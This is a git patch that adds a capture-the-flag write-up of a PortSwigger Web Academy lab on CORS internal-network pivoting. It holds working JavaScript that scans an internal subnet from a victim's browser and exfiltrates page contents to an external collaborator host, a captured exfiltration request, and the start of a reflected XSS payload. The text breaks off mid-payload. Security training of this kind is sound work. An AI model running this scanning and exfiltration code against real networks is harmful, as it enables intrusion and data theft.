From 0953e866a6cd4db7c4ef1daa379e9fa601c3837a Mon Sep 17 00:00:00 2001 From: xanhacks Date: Sat, 24 Dec 2022 18:41:58 +0100 Subject: [PATCH] add CORS --- docs/web/ctf/web_academy.md | 132 ++++++++++++++++++++++++++++++++++++ 1 file changed, 132 insertions(+) diff --git a/docs/web/ctf/web_academy.md b/docs/web/ctf/web_academy.md index 5f2a409..81d3862 100644 --- a/docs/web/ctf/web_academy.md +++ b/docs/web/ctf/web_academy.md @@ -6,6 +6,138 @@ ignore_macros: true # PortSwigger Web Academy +## CORS + +### Insecure CORS allows internal network attacks + +> Lab: [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) + +**Goal:** Craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. + +We can enumerate the internal network using a for loop and send it to the victim using the exploit server : + +```js +for (let i = 0; i < 256; i++) { + let req = new XMLHttpRequest(); + req.onload = handleResponse; + req.open('GET', `http://192.168.0.${i}:8080`, true); + req.send(); + + function handleResponse() { + fetch(`https://rrmydfoifg9zafyfe9hpcsrm4da4yumj.oastify.com/?match=${i}`); + }; +} +``` + +On the collaborator, we receive a match on ID `6` (`GET /?match=6`), this tells us that we have an http application on `http://192.168.0.6:8080`. + +Now, let's exfiltrate the internal website using POST request. + +```js +let req = new XMLHttpRequest(); +req.onload = handleResponse; +req.open("GET", "http://192.168.0.6:8080", true); +req.send(); + +function handleResponse() { + fetch("https://rrmydfoifg9zafyfe9hpcsrm4da4yumj.oastify.com?exfil", { + method: "POST", + body: "data=" + btoa(this.responseText) + }); +}; +``` + +We successfully obtain a response on collaborator : + +``` +POST /?exfil HTTP/1.1 +Host: 1mo5n4kj374a7w34vjvumn0k0b62u0ip.oastify.com +... +User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.124 Safari/537.36 +Referer: http://exploit-0ab200d2035fb2dec40dfaec017f0012.exploit-server.net/ + +data=PCFET0NUWVBFIGh0... +``` + +I tried the same payload with `withCredentials` set to `true`, but we get no response. So, we can guess that `Access-Control-Allow-Credentials` is not allowed. I tried to exfiltrate the CORS policy of the internal web application using the function [getAllResponseHeaders](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/getAllResponseHeaders) but this function only returns the content of the following response header : `Cache-Control Content-Language Content-Type Expires Last-Modified Pragma` (from [stackoverflow.com](https://stackoverflow.com/a/14689355/11428808)). + +The internal app contains a POST form to login, if we add the parameters in the query, they will be reflected on the form. For example, with the query `/login?username=XYZ_CANARY_XYZ`, we will obtain the following form : + +```html +
+ + + + + + +
+``` + +The `username` parameter is vulnerable to XSS : + +```js +const collabUrl = "https://rrmydfoifg9zafyfe9hpcsrm4da4yumj.oastify.com"; +const data = "username=" + encodeURIComponent(`X">

+ +``` + +We can verify it by making the user visit the reflected XSS link : + +```js +const collabUrl = "https://rrmydfoifg9zafyfe9hpcsrm4da4yumj.oastify.com"; +const data = "username=" + encodeURIComponent(`X">